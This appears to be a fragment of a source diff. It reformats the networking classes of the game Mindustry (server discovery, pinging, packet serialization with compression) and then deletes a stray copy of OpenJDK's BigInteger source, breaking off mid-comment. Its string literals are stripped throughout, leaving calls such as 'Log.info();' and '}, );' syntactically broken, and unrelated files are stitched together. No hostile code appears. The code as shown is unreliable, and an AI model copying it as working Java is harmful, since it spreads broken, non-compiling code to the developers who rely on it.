buffer); +host.port = port; +return host; +} +} + +@Override +public void discoverServers(Cons callback, Runnable done){ +Seq foundAddresses = new Seq<>(); +long time = Time.millis(); + +client.discoverHosts(port, multicastGroup, multicastPort, 3000, packet -> { +synchronized(foundAddresses){ +try{ + if(foundAddresses.contains(address -> address.equals(packet.getAddress()) || (isLocal(address) && isLocal(packet.getAddress())))){ + return; } + ByteBuffer buffer = ByteBuffer.wrap(packet.getData()); + Host host = NetworkIO.readServerData((int)Time.timeSinceMillis(time), packet.getAddress().getHostAddress(), buffer); + Core.app.post(() -> callback.get(host)); + foundAddresses.add(packet.getAddress()); +}catch(Exception e){ + //don't crash when there's an error pinging a server or parsing data + e.printStackTrace(); +} +} +}, () -> Core.app.post(done)); +} - @Override - public void disconnectClient(){ - client.close(); - } +@Override +public void dispose(){ +disconnectClient(); +closeServer(); +try{ +client.dispose(); +}catch(IOException ignored){ +} +} - @Override - public void sendClient(Object object, boolean reliable){ - try{ - if(reliable){ - client.sendTCP(object); - }else{ - client.sendUDP(object); - } - //sending things can cause an under/overflow, catch it and disconnect instead of crashing - }catch(BufferOverflowException | BufferUnderflowException e){ - net.showError(e); - } - } +@Override +public Iterable getConnections(){ +return connections; +} - @Override - public void pingHost(String address, int port, Cons valid, Cons invalid){ - try{ - var host = pingHostImpl(address, port); - Core.app.post(() -> valid.get(host)); - }catch(IOException e){ - if(port == Vars.port){ - for(var record : ArcDns.getSrvRecords( + address)){ - try{ - var host = pingHostImpl(record.target, record.port); - Core.app.post(() -> valid.get(host)); - return; - }catch(IOException ignored){ - } - } - } - Core.app.post(() -> invalid.get(e)); - } - } +@Override +public void hostServer(int port) throws IOException{ +connections.clear(); +server.bind(port, port); - private Host pingHostImpl(String address, int port) throws IOException{ - try(DatagramSocket socket = new DatagramSocket()){ - long time = Time.millis(); +serverThread = new Thread(() -> { +try{ +server.run(); +}catch(Throwable e){ +if(!(e instanceof ClosedSelectorException)) Threads.throwAppException(e); +} +}, ); +serverThread.setDaemon(true); +serverThread.start(); +} - socket.send(new DatagramPacket(new byte[]{-2, 1}, 2, InetAddress.getByName(address), port)); - socket.setSoTimeout(2000); +@Override +public void closeServer(){ +connections.clear(); +mainExecutor.submit(server::stop); +} - DatagramPacket packet = packetSupplier.get(); - socket.receive(packet); +class ArcConnection extends NetConnection{ +public final Connection connection; - ByteBuffer buffer = ByteBuffer.wrap(packet.getData()); - Host host = NetworkIO.readServerData((int)Time.timeSinceMillis(time), packet.getAddress().getHostAddress(), buffer); - host.port = port; - return host; - } - } +public ArcConnection(String address, Connection connection){ +super(address); +this.connection = connection; +} - @Override - public void discoverServers(Cons callback, Runnable done){ - Seq foundAddresses = new Seq<>(); - long time = Time.millis(); +@Override +public boolean isConnected(){ +return connection.isConnected(); +} - client.discoverHosts(port, multicastGroup, multicastPort, 3000, packet -> { - synchronized(foundAddresses){ - try{ - if(foundAddresses.contains(address -> address.equals(packet.getAddress()) || (isLocal(address) && isLocal(packet.getAddress())))){ - return; - } - ByteBuffer buffer = ByteBuffer.wrap(packet.getData()); - Host host = NetworkIO.readServerData((int)Time.timeSinceMillis(time), packet.getAddress().getHostAddress(), buffer); - Core.app.post(() -> callback.get(host)); - foundAddresses.add(packet.getAddress()); - }catch(Exception e){ - //don't crash when there's an error pinging a server or parsing data - e.printStackTrace(); - } - } - }, () -> Core.app.post(done)); - } +@Override +public void sendStream(Streamable stream){ +connection.addListener(new InputStreamSender(stream.stream, 512){ +int id; - @Override - public void dispose(){ - disconnectClient(); - closeServer(); - try{ - client.dispose(); - }catch(IOException ignored){ - } - } +@Override +protected void start(){ + //send an object so the receiving side knows how to handle the following chunks + StreamBegin begin = new StreamBegin(); + begin.total = stream.stream.available(); + begin.type = Net.getPacketId(stream); + connection.sendTCP(begin); + id = begin.id; +} - @Override - public Iterable getConnections(){ - return connections; - } +@Override +protected Object next(byte[] bytes){ + StreamChunk chunk = new StreamChunk(); + chunk.id = id; + chunk.data = bytes; + return chunk; //wrap the byte[] with an object so the receiving side knows how to handle it. +} +}); +} - @Override - public void hostServer(int port) throws IOException{ - connections.clear(); - server.bind(port, port); +@Override +public void send(Object object, boolean reliable){ +try{ +if(reliable){ + connection.sendTCP(object); +}else{ + connection.sendUDP(object); +} +}catch(Exception e){ +Log.err(e); +Log.info(); +connection.close(DcReason.error); - serverThread = new Thread(() -> { - try{ - server.run(); - }catch(Throwable e){ - if(!(e instanceof ClosedSelectorException)) Threads.throwAppException(e); - } - }, ); - serverThread.setDaemon(true); - serverThread.start(); - } +if(connection.getArbitraryData() instanceof ArcConnection k){ + connections.remove(k); +} +} +} - @Override - public void closeServer(){ - connections.clear(); - mainExecutor.submit(server::stop); - } +@Override +public void close(){ +if(connection.isConnected()) connection.close(DcReason.closed); +} +} - class ArcConnection extends NetConnection{ - public final Connection connection; +public static class PacketSerializer implements NetSerializer{ +//for debugging total read/write speeds +private static final boolean debug = false; - public ArcConnection(String address, Connection connection){ - super(address); - this.connection = connection; - } +ThreadLocal decompressBuffer = Threads.local(() -> ByteBuffer.allocate(32768)); +ThreadLocal reads = Threads.local(() -> new Reads(new ByteBufferInput(decompressBuffer.get()))); +ThreadLocal writes = Threads.local(() -> new Writes(new ByteBufferOutput(decompressBuffer.get()))); - @Override - public boolean isConnected(){ - return connection.isConnected(); - } +//for debugging network write counts +static WindowedMean upload = new WindowedMean(5), download = new WindowedMean(5); +static long lastUpload, lastDownload, uploadAccum, downloadAccum; +static int lastPos; - @Override - public void sendStream(Streamable stream){ - connection.addListener(new InputStreamSender(stream.stream, 512){ - int id; +@Override +public Object read(ByteBuffer byteBuffer){ +if(debug){ +if(Time.timeSinceMillis(lastDownload) >= 1000){ + lastDownload = Time.millis(); + download.add(downloadAccum); + downloadAccum = 0; + Log.info(, download.mean()); +} +downloadAccum += byteBuffer.remaining(); +} - @Override - protected void start(){ - //send an object so the receiving side knows how to handle the following chunks - StreamBegin begin = new StreamBegin(); - begin.total = stream.stream.available(); - begin.type = Net.getPacketId(stream); - connection.sendTCP(begin); - id = begin.id; - } +byte id = byteBuffer.get(); +if(id == -2){ +return readFramework(byteBuffer); +}else{ +//read length int, followed by compressed lz4 data +Packet packet = Net.newPacket(id); +var buffer = decompressBuffer.get(); +int length = byteBuffer.getShort() & 0xffff; +byte compression = byteBuffer.get(); - @Override - protected Object next(byte[] bytes){ - StreamChunk chunk = new StreamChunk(); - chunk.id = id; - chunk.data = bytes; - return chunk; //wrap the byte[] with an object so the receiving side knows how to handle it. - } - }); - } +//no compression, copy over buffer +if(compression == 0){ + buffer.position(0).limit(length); + buffer.put(byteBuffer.array(), byteBuffer.position(), length); + buffer.position(0); + packet.read(reads.get(), length); + //move read packets forward + byteBuffer.position(byteBuffer.position() + buffer.position()); +}else{ + //decompress otherwise + int read = decompressor.decompress(byteBuffer, byteBuffer.position(), buffer, 0, length); - @Override - public void send(Object object, boolean reliable){ - try{ - if(reliable){ - connection.sendTCP(object); - }else{ - connection.sendUDP(object); - } - }catch(Exception e){ - Log.err(e); - Log.info(); - connection.close(DcReason.error); + buffer.position(0); + buffer.limit(length); + packet.read(reads.get(), length); + //move buffer forward based on bytes read by decompressor + byteBuffer.position(byteBuffer.position() + read); +} - if(connection.getArbitraryData() instanceof ArcConnection k){ - connections.remove(k); - } - } - } +return packet; +} +} - @Override - public void close(){ - if(connection.isConnected()) connection.close(DcReason.closed); - } - } +@Override +public void write(ByteBuffer byteBuffer, Object o){ +if(debug){ +lastPos = byteBuffer.position(); +} - public static class PacketSerializer implements NetSerializer{ - //for debugging total read/write speeds - private static final boolean debug = false; +//write raw buffer +if(o instanceof ByteBuffer raw){ +byteBuffer.put(raw); +}else if(o instanceof FrameworkMessage msg){ +byteBuffer.put((byte)-2); //code for framework message +writeFramework(byteBuffer, msg); +}else{ +if(!(o instanceof Packet pack)) throw new RuntimeException( + o.getClass()); +byte id = Net.getPacketId(pack); +byteBuffer.put(id); - ThreadLocal decompressBuffer = Threads.local(() -> ByteBuffer.allocate(32768)); - ThreadLocal reads = Threads.local(() -> new Reads(new ByteBufferInput(decompressBuffer.get()))); - ThreadLocal writes = Threads.local(() -> new Writes(new ByteBufferOutput(decompressBuffer.get()))); +var temp = decompressBuffer.get(); +temp.position(0); +temp.limit(temp.capacity()); +pack.write(writes.get()); - //for debugging network write counts - static WindowedMean upload = new WindowedMean(5), download = new WindowedMean(5); - static long lastUpload, lastDownload, uploadAccum, downloadAccum; - static int lastPos; +short length = (short)temp.position(); - @Override - public Object read(ByteBuffer byteBuffer){ - if(debug){ - if(Time.timeSinceMillis(lastDownload) >= 1000){ - lastDownload = Time.millis(); - download.add(downloadAccum); - downloadAccum = 0; - Log.info(, download.mean()); - } - downloadAccum += byteBuffer.remaining(); - } +//write length, uncompressed +byteBuffer.putShort(length); - byte id = byteBuffer.get(); - if(id == -2){ - return readFramework(byteBuffer); - }else{ - //read length int, followed by compressed lz4 data - Packet packet = Net.newPacket(id); - var buffer = decompressBuffer.get(); - int length = byteBuffer.getShort() & 0xffff; - byte compression = byteBuffer.get(); +//don't bother with small packets +if(length < 36 || pack instanceof StreamChunk){ + //write direct contents... + byteBuffer.put((byte)0); //0 = no compression + byteBuffer.put(temp.array(), 0, length); +}else{ + byteBuffer.put((byte)1); //1 = compression + //write compressed data; this does not modify position! + int written = compressor.compress(temp, 0, temp.position(), byteBuffer, byteBuffer.position(), byteBuffer.remaining()); + //skip to indicate the written, compressed data + byteBuffer.position(byteBuffer.position() + written); +} +} - //no compression, copy over buffer - if(compression == 0){ - buffer.position(0).limit(length); - buffer.put(byteBuffer.array(), byteBuffer.position(), length); - buffer.position(0); - packet.read(reads.get(), length); - //move read packets forward - byteBuffer.position(byteBuffer.position() + buffer.position()); - }else{ - //decompress otherwise - int read = decompressor.decompress(byteBuffer, byteBuffer.position(), buffer, 0, length); +if(debug){ +if(Time.timeSinceMillis(lastUpload) >= 1000){ + lastUpload = Time.millis(); + upload.add(uploadAccum); + uploadAccum = 0; + Log.info(, upload.mean()); +} +uploadAccum += byteBuffer.position() - lastPos; +} +} - buffer.position(0); - buffer.limit(length); - packet.read(reads.get(), length); - //move buffer forward based on bytes read by decompressor - byteBuffer.position(byteBuffer.position() + read); - } +public void writeFramework(ByteBuffer buffer, FrameworkMessage message){ +if(message instanceof Ping p){ +buffer.put((byte)0); +buffer.putInt(p.id); +buffer.put(p.isReply ? 1 : (byte)0); +}else if(message instanceof DiscoverHost){ +buffer.put((byte)1); +}else if(message instanceof KeepAlive){ +buffer.put((byte)2); +}else if(message instanceof RegisterUDP p){ +buffer.put((byte)3); +buffer.putInt(p.connectionID); +}else if(message instanceof RegisterTCP p){ +buffer.put((byte)4); +buffer.putInt(p.connectionID); +} +} - return packet; - } - } +public FrameworkMessage readFramework(ByteBuffer buffer){ +byte id = buffer.get(); - @Override - public void write(ByteBuffer byteBuffer, Object o){ - if(debug){ - lastPos = byteBuffer.position(); - } - - //write raw buffer - if(o instanceof ByteBuffer raw){ - byteBuffer.put(raw); - }else if(o instanceof FrameworkMessage msg){ - byteBuffer.put((byte)-2); //code for framework message - writeFramework(byteBuffer, msg); - }else{ - if(!(o instanceof Packet pack)) throw new RuntimeException( + o.getClass()); - byte id = Net.getPacketId(pack); - byteBuffer.put(id); - - var temp = decompressBuffer.get(); - temp.position(0); - temp.limit(temp.capacity()); - pack.write(writes.get()); - - short length = (short)temp.position(); - - //write length, uncompressed - byteBuffer.putShort(length); - - //don't bother with small packets - if(length < 36 || pack instanceof StreamChunk){ - //write direct contents... - byteBuffer.put((byte)0); //0 = no compression - byteBuffer.put(temp.array(), 0, length); - }else{ - byteBuffer.put((byte)1); //1 = compression - //write compressed data; this does not modify position! - int written = compressor.compress(temp, 0, temp.position(), byteBuffer, byteBuffer.position(), byteBuffer.remaining()); - //skip to indicate the written, compressed data - byteBuffer.position(byteBuffer.position() + written); - } - } - - if(debug){ - if(Time.timeSinceMillis(lastUpload) >= 1000){ - lastUpload = Time.millis(); - upload.add(uploadAccum); - uploadAccum = 0; - Log.info(, upload.mean()); - } - uploadAccum += byteBuffer.position() - lastPos; - } - } - - public void writeFramework(ByteBuffer buffer, FrameworkMessage message){ - if(message instanceof Ping p){ - buffer.put((byte)0); - buffer.putInt(p.id); - buffer.put(p.isReply ? 1 : (byte)0); - }else if(message instanceof DiscoverHost){ - buffer.put((byte)1); - }else if(message instanceof KeepAlive){ - buffer.put((byte)2); - }else if(message instanceof RegisterUDP p){ - buffer.put((byte)3); - buffer.putInt(p.connectionID); - }else if(message instanceof RegisterTCP p){ - buffer.put((byte)4); - buffer.putInt(p.connectionID); - } - } - - public FrameworkMessage readFramework(ByteBuffer buffer){ - byte id = buffer.get(); - - if(id == 0){ - Ping p = new Ping(); - p.id = buffer.getInt(); - p.isReply = buffer.get() == 1; - return p; - }else if(id == 1){ - return FrameworkMessage.discoverHost; - }else if(id == 2){ - return FrameworkMessage.keepAlive; - }else if(id == 3){ - RegisterUDP p = new RegisterUDP(); - p.connectionID = buffer.getInt(); - return p; - }else if(id == 4){ - RegisterTCP p = new RegisterTCP(); - p.connectionID = buffer.getInt(); - return p; - }else{ - throw new RuntimeException(); - } - } - } +if(id == 0){ +Ping p = new Ping(); +p.id = buffer.getInt(); +p.isReply = buffer.get() == 1; +return p; +}else if(id == 1){ +return FrameworkMessage.discoverHost; +}else if(id == 2){ +return FrameworkMessage.keepAlive; +}else if(id == 3){ +RegisterUDP p = new RegisterUDP(); +p.connectionID = buffer.getInt(); +return p; +}else if(id == 4){ +RegisterTCP p = new RegisterTCP(); +p.connectionID = buffer.getInt(); +return p; +}else{ +throw new RuntimeException(); +} +} +} } @@ -654,8315 +549,45 @@ import mindustry.net.Packets.*; import java.io.*; public class Streamable extends Packet{ - public transient ByteArrayInputStream stream; +public transient ByteArrayInputStream stream; - @Override - public int getPriority(){ - return priorityHigh; - } - - public static class StreamBuilder{ - public final int id; - public final byte type; - public final int total; - public final ByteArrayOutputStream stream = new ByteArrayOutputStream(); - - public StreamBuilder(StreamBegin begin){ - id = begin.id; - type = begin.type; - total = begin.total; - } - - public float progress(){ - return (float)stream.size() / total; - } - - public void add(byte[] bytes){ - try{ - stream.write(bytes); - }catch(IOException e){ - throw new RuntimeException(e); - } - } - - public Streamable build(){ - Streamable s = Net.newPacket(type); - s.stream = new ByteArrayInputStream(stream.toByteArray()); - return s; - } - - public boolean isDone(){ - return stream.size() >= total; - } - } +@Override +public int getPriority(){ +return priorityHigh; } -/* - * Copyright (c) 1996, 2023, Oracle and/or its affiliates. All rights reserved. - * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. - * - * This code is free software; you can redistribute it and/or modify it - * under the terms of the GNU General Public License version 2 only, as - * published by the Free Software Foundation. Oracle designates this - * particular file as subject to the exception as provided - * by Oracle in the LICENSE file that accompanied this code. - * - * This code is distributed in the hope that it will be useful, but WITHOUT - * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or - * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License - * version 2 for more details (a copy is included in the LICENSE file that - * accompanied this code). - * - * You should have received a copy of the GNU General Public License version - * 2 along with this work; if not, write to the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. - * - * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA - * or visit www.oracle.com if you need additional information or have any - * questions. - */ - -/* - * Portions Copyright (c) 1995 Colin Plumb. All rights reserved. - */ - -package java.math; - -import java.io.IOException; -import java.io.InvalidObjectException; -import java.io.ObjectInputStream; -import java.io.ObjectOutputStream; -import java.io.ObjectStreamField; -import java.io.ObjectStreamException; -import java.util.Arrays; -import java.util.Objects; -import java.util.Random; -import java.util.concurrent.ForkJoinPool; -import java.util.concurrent.ForkJoinWorkerThread; -import java.util.concurrent.RecursiveTask; -import java.util.concurrent.ThreadLocalRandom; - -import jdk.internal.math.DoubleConsts; -import jdk.internal.math.FloatConsts; -import jdk.internal.vm.annotation.ForceInline; -import jdk.internal.vm.annotation.IntrinsicCandidate; -import jdk.internal.vm.annotation.Stable; - -/** - * Immutable arbitrary-precision integers. All operations behave as if - * BigIntegers were represented in two's-complement notation (like Java's - * primitive integer types). BigInteger provides analogues to all of Java's - * primitive integer operators, and all relevant methods from java.lang.Math. - * Additionally, BigInteger provides operations for modular arithmetic, GCD - * calculation, primality testing, prime generation, bit manipulation, - * and a few other miscellaneous operations. - * - *

Semantics of arithmetic operations exactly mimic those of Java's integer - * arithmetic operators, as defined in The Java Language Specification. - * For example, division by zero throws an {@code ArithmeticException}, and - * division of a negative by a positive yields a negative (or zero) remainder. - * - *

Semantics of shift operations extend those of Java's shift operators - * to allow for negative shift distances. A right-shift with a negative - * shift distance results in a left shift, and vice-versa. The unsigned - * right shift operator ({@code >>>}) is omitted since this operation - * only makes sense for a fixed sized word and not for a - * representation conceptually having an infinite number of leading - * virtual sign bits. - * - *

Semantics of bitwise logical operations exactly mimic those of Java's - * bitwise integer operators. The binary operators ({@code and}, - * {@code or}, {@code xor}) implicitly perform sign extension on the shorter - * of the two operands prior to performing the operation. - * - *

Comparison operations perform signed integer comparisons, analogous to - * those performed by Java's relational and equality operators. - * - *

Modular arithmetic operations are provided to compute residues, perform - * exponentiation, and compute multiplicative inverses. These methods always - * return a non-negative result, between {@code 0} and {@code (modulus - 1)}, - * inclusive. - * - *

Bit operations operate on a single bit of the two's-complement - * representation of their operand. If necessary, the operand is sign-extended - * so that it contains the designated bit. None of the single-bit - * operations can produce a BigInteger with a different sign from the - * BigInteger being operated on, as they affect only a single bit, and the - * arbitrarily large abstraction provided by this class ensures that conceptually - * there are infinitely many preceding each BigInteger. - * - *

For the sake of brevity and clarity, pseudo-code is used throughout the - * descriptions of BigInteger methods. The pseudo-code expression - * {@code (i + j)} is shorthand for "a BigInteger whose value is - * that of the BigInteger {@code i} plus that of the BigInteger {@code j}." - * The pseudo-code expression {@code (i == j)} is shorthand for - * "{@code true} if and only if the BigInteger {@code i} represents the same - * value as the BigInteger {@code j}." Other pseudo-code expressions are - * interpreted similarly. - * - *

All methods and constructors in this class throw - * {@code NullPointerException} when passed - * a null object reference for any input parameter. - * - * BigInteger must support values in the range - * -2{@code Integer.MAX_VALUE} (exclusive) to - * +2{@code Integer.MAX_VALUE} (exclusive) - * and may support values outside of that range. - * - * An {@code ArithmeticException} is thrown when a BigInteger - * constructor or method would generate a value outside of the - * supported range. - * - * The range of probable prime values is limited and may be less than - * the full supported positive range of {@code BigInteger}. - * The range must be at least 1 to 2500000000. - * - * @apiNote - * As {@code BigInteger} values are - * arbitrary precision integers, the algorithmic complexity of the - * methods of this class varies and may be superlinear in the size of - * the input. For example, a method like {@link intValue()} would be - * expected to run in O(1), that is constant time, since with - * the current internal representation only a fixed-size component of - * the {@code BigInteger} needs to be accessed to perform the - * conversion to {@code int}. In contrast, a method like {@link not()} - * would be expected to run in O(n) time where n - * is the size of the {@code BigInteger} in bits, that is, to run in - * time proportional to the size of the input. For multiplying two - * {@code BigInteger} values of size n, a naive multiplication - * algorithm would run in time O(n2) and - * theoretical results indicate a multiplication algorithm for numbers - * using this category of representation must run in at least - * O(n log n). Common multiplication - * algorithms between the bounds of the naive and theoretical cases - * include the Karatsuba multiplication - * (O(n1.585)) and 3-way Toom-Cook - * multiplication (O(n1.465)). - * - *

A particular implementation of {@link multiply(BigInteger) - * multiply} is free to switch between different algorithms for - * different inputs, such as to improve actual running time to produce - * the product by using simpler algorithms for smaller inputs even if - * the simpler algorithm has a larger asymptotic complexity. - * - *

Operations may also allocate and compute on intermediate - * results, potentially those allocations may be as large as in - * proportion to the running time of the algorithm. - * - *

Users of {@code BigInteger} concerned with bounding the running - * time or space of operations can screen out {@code BigInteger} - * values above a chosen magnitude. - * - * @implNote - * In the reference implementation, BigInteger constructors and - * operations throw {@code ArithmeticException} when the result is out - * of the supported range of - * -2{@code Integer.MAX_VALUE} (exclusive) to - * +2{@code Integer.MAX_VALUE} (exclusive). - * - * @see BigDecimal - * @jls 4.2.2 Integer Operations - * @author Josh Bloch - * @author Michael McCloskey - * @author Alan Eliasen - * @author Timothy Buktu - * @since 1.1 - */ - -public class BigInteger extends Number implements Comparable { - /** - * The signum of this BigInteger: -1 for negative, 0 for zero, or - * 1 for positive. Note that the BigInteger zero must have - * a signum of 0. This is necessary to ensures that there is exactly one - * representation for each BigInteger value. - */ - final int signum; - - /** - * The magnitude of this BigInteger, in big-endian order: the - * zeroth element of this array is the most-significant int of the - * magnitude. The magnitude must be in that the most-significant - * int ({@code mag[0]}) must be non-zero. This is necessary to - * ensure that there is exactly one representation for each BigInteger - * value. Note that this implies that the BigInteger zero has a - * zero-length mag array. - */ - final int[] mag; - - // The following fields are stable variables. A stable variable's value - // changes at most once from the default zero value to a non-zero stable - // value. A stable value is calculated lazily on demand. - - /** - * One plus the bitCount of this BigInteger. This is a stable variable. - * - * @see #bitCount - */ - private int bitCountPlusOne; - - /** - * One plus the bitLength of this BigInteger. This is a stable variable. - * (either value is acceptable). - * - * @see #bitLength() - */ - private int bitLengthPlusOne; - - /** - * Two plus the lowest set bit of this BigInteger. This is a stable variable. - * - * @see #getLowestSetBit - */ - private int lowestSetBitPlusTwo; - - /** - * Two plus the index of the lowest-order int in the magnitude of this - * BigInteger that contains a nonzero int. This is a stable variable. The - * least significant int has int-number 0, the next int in order of - * increasing significance has int-number 1, and so forth. - * - *

Note: never used for a BigInteger with a magnitude of zero. - * - * @see #firstNonzeroIntNum() - */ - private int firstNonzeroIntNumPlusTwo; - - /** - * This mask is used to obtain the value of an int as if it were unsigned. - */ - static final long LONG_MASK = 0xffffffffL; - - /** - * This constant limits {@code mag.length} of BigIntegers to the supported - * range. - */ - private static final int MAX_MAG_LENGTH = Integer.MAX_VALUE / Integer.SIZE + 1; // (1 << 26) - - /** - * Bit lengths larger than this constant can cause overflow in searchLen - * calculation and in BitSieve.singleSearch method. - */ - private static final int PRIME_SEARCH_BIT_LENGTH_LIMIT = 500000000; - - /** - * The threshold value for using Karatsuba multiplication. If the number - * of ints in both mag arrays are greater than this number, then - * Karatsuba multiplication will be used. This value is found - * experimentally to work well. - */ - private static final int KARATSUBA_THRESHOLD = 80; - - /** - * The threshold value for using 3-way Toom-Cook multiplication. - * If the number of ints in each mag array is greater than the - * Karatsuba threshold, and the number of ints in at least one of - * the mag arrays is greater than this threshold, then Toom-Cook - * multiplication will be used. - */ - private static final int TOOM_COOK_THRESHOLD = 240; - - /** - * The threshold value for using Karatsuba squaring. If the number - * of ints in the number are larger than this value, - * Karatsuba squaring will be used. This value is found - * experimentally to work well. - */ - private static final int KARATSUBA_SQUARE_THRESHOLD = 128; - - /** - * The threshold value for using Toom-Cook squaring. If the number - * of ints in the number are larger than this value, - * Toom-Cook squaring will be used. This value is found - * experimentally to work well. - */ - private static final int TOOM_COOK_SQUARE_THRESHOLD = 216; - - /** - * The threshold value for using Burnikel-Ziegler division. If the number - * of ints in the divisor are larger than this value, Burnikel-Ziegler - * division may be used. This value is found experimentally to work well. - */ - static final int BURNIKEL_ZIEGLER_THRESHOLD = 80; - - /** - * The offset value for using Burnikel-Ziegler division. If the number - * of ints in the divisor exceeds the Burnikel-Ziegler threshold, and the - * number of ints in the dividend is greater than the number of ints in the - * divisor plus this value, Burnikel-Ziegler division will be used. This - * value is found experimentally to work well. - */ - static final int BURNIKEL_ZIEGLER_OFFSET = 40; - - /** - * The threshold value for using Schoenhage recursive base conversion. If - * the number of ints in the number are larger than this value, - * the Schoenhage algorithm will be used. In practice, it appears that the - * Schoenhage routine is faster for any threshold down to 2, and is - * relatively flat for thresholds between 2-25, so this choice may be - * varied within this range for very small effect. - */ - private static final int SCHOENHAGE_BASE_CONVERSION_THRESHOLD = 20; - - /** - * The threshold value for using squaring code to perform multiplication - * of a {@code BigInteger} instance by itself. If the number of ints in - * the number are larger than this value, {@code multiply(this)} will - * return {@code square()}. - */ - private static final int MULTIPLY_SQUARE_THRESHOLD = 20; - - /** - * The threshold for using an intrinsic version of - * implMontgomeryXXX to perform Montgomery multiplication. If the - * number of ints in the number is more than this value we do not - * use the intrinsic. - */ - private static final int MONTGOMERY_INTRINSIC_THRESHOLD = 512; - - - // Constructors - - /** - * Translates a byte sub-array containing the two's-complement binary - * representation of a BigInteger into a BigInteger. The sub-array is - * specified via an offset into the array and a length. The sub-array is - * assumed to be in big-endian byte-order: the most significant - * byte is the element at index {@code off}. The {@code val} array is - * assumed to be unchanged for the duration of the constructor call. - * - * An {@code IndexOutOfBoundsException} is thrown if the length of the array - * {@code val} is non-zero and either {@code off} is negative, {@code len} - * is negative, or {@code off+len} is greater than the length of - * {@code val}. - * - * @param val byte array containing a sub-array which is the big-endian - * two's-complement binary representation of a BigInteger. - * @param off the start offset of the binary representation. - * @param len the number of bytes to use. - * @throws NumberFormatException {@code val} is zero bytes long. - * @throws IndexOutOfBoundsException if the provided array offset and - * length would cause an index into the byte array to be - * negative or greater than or equal to the array length. - * @since 9 - */ - public BigInteger(byte[] val, int off, int len) { - if (val.length == 0) { - throw new NumberFormatException(); - } - Objects.checkFromIndexSize(off, len, val.length); - if (len == 0) { - mag = ZERO.mag; - signum = ZERO.signum; - return; - } - - int b = val[off]; - if (b < 0) { - mag = makePositive(b, val, off, len); - signum = -1; - } else { - mag = stripLeadingZeroBytes(b, val, off, len); - signum = (mag.length == 0 ? 0 : 1); - } - if (mag.length >= MAX_MAG_LENGTH) { - checkRange(); - } - } - - /** - * Translates a byte array containing the two's-complement binary - * representation of a BigInteger into a BigInteger. The input array is - * assumed to be in big-endian byte-order: the most significant - * byte is in the zeroth element. The {@code val} array is assumed to be - * unchanged for the duration of the constructor call. - * - * @param val big-endian two's-complement binary representation of a - * BigInteger. - * @throws NumberFormatException {@code val} is zero bytes long. - */ - public BigInteger(byte[] val) { - this(val, 0, val.length); - } - - /** - * This private constructor translates an int array containing the - * two's-complement binary representation of a BigInteger into a - * BigInteger. The input array is assumed to be in big-endian - * int-order: the most significant int is in the zeroth element. The - * {@code val} array is assumed to be unchanged for the duration of - * the constructor call. - */ - private BigInteger(int[] val) { - if (val.length == 0) - throw new NumberFormatException(); - - if (val[0] < 0) { - mag = makePositive(val); - signum = -1; - } else { - mag = trustedStripLeadingZeroInts(val); - signum = (mag.length == 0 ? 0 : 1); - } - if (mag.length >= MAX_MAG_LENGTH) { - checkRange(); - } - } - - /** - * Translates the sign-magnitude representation of a BigInteger into a - * BigInteger. The sign is represented as an integer signum value: -1 for - * negative, 0 for zero, or 1 for positive. The magnitude is a sub-array of - * a byte array in big-endian byte-order: the most significant byte - * is the element at index {@code off}. A zero value of the length - * {@code len} is permissible, and will result in a BigInteger value of 0, - * whether signum is -1, 0 or 1. The {@code magnitude} array is assumed to - * be unchanged for the duration of the constructor call. - * - * An {@code IndexOutOfBoundsException} is thrown if the length of the array - * {@code magnitude} is non-zero and either {@code off} is negative, - * {@code len} is negative, or {@code off+len} is greater than the length of - * {@code magnitude}. - * - * @param signum signum of the number (-1 for negative, 0 for zero, 1 - * for positive). - * @param magnitude big-endian binary representation of the magnitude of - * the number. - * @param off the start offset of the binary representation. - * @param len the number of bytes to use. - * @throws NumberFormatException {@code signum} is not one of the three - * legal values (-1, 0, and 1), or {@code signum} is 0 and - * {@code magnitude} contains one or more non-zero bytes. - * @throws IndexOutOfBoundsException if the provided array offset and - * length would cause an index into the byte array to be - * negative or greater than or equal to the array length. - * @since 9 - */ - public BigInteger(int signum, byte[] magnitude, int off, int len) { - if (signum < -1 || signum > 1) { - throw(new NumberFormatException()); - } - Objects.checkFromIndexSize(off, len, magnitude.length); - - // stripLeadingZeroBytes() returns a zero length array if len == 0 - this.mag = stripLeadingZeroBytes(magnitude, off, len); - - if (this.mag.length == 0) { - this.signum = 0; - } else { - if (signum == 0) - throw(new NumberFormatException()); - this.signum = signum; - } - if (mag.length >= MAX_MAG_LENGTH) { - checkRange(); - } - } - - /** - * Translates the sign-magnitude representation of a BigInteger into a - * BigInteger. The sign is represented as an integer signum value: -1 for - * negative, 0 for zero, or 1 for positive. The magnitude is a byte array - * in big-endian byte-order: the most significant byte is the - * zeroth element. A zero-length magnitude array is permissible, and will - * result in a BigInteger value of 0, whether signum is -1, 0 or 1. The - * {@code magnitude} array is assumed to be unchanged for the duration of - * the constructor call. - * - * @param signum signum of the number (-1 for negative, 0 for zero, 1 - * for positive). - * @param magnitude big-endian binary representation of the magnitude of - * the number. - * @throws NumberFormatException {@code signum} is not one of the three - * legal values (-1, 0, and 1), or {@code signum} is 0 and - * {@code magnitude} contains one or more non-zero bytes. - */ - public BigInteger(int signum, byte[] magnitude) { - this(signum, magnitude, 0, magnitude.length); - } - - /** - * A constructor for internal use that translates the sign-magnitude - * representation of a BigInteger into a BigInteger. It checks the - * arguments and copies the magnitude so this constructor would be - * safe for external use. The {@code magnitude} array is assumed to be - * unchanged for the duration of the constructor call. - */ - private BigInteger(int signum, int[] magnitude) { - this.mag = stripLeadingZeroInts(magnitude); - - if (signum < -1 || signum > 1) - throw(new NumberFormatException()); - - if (this.mag.length == 0) { - this.signum = 0; - } else { - if (signum == 0) - throw(new NumberFormatException()); - this.signum = signum; - } - if (mag.length >= MAX_MAG_LENGTH) { - checkRange(); - } - } - - /** - * Translates the String representation of a BigInteger in the - * specified radix into a BigInteger. The String representation - * consists of an optional minus or plus sign followed by a - * sequence of one or more digits in the specified radix. The - * character-to-digit mapping is provided by {@link - * Character#digit(char, int) Character.digit}. The String may - * not contain any extraneous characters (whitespace, for - * example). - * - * @param val String representation of BigInteger. - * @param radix radix to be used in interpreting {@code val}. - * @throws NumberFormatException {@code val} is not a valid representation - * of a BigInteger in the specified radix, or {@code radix} is - * outside the range from {@link 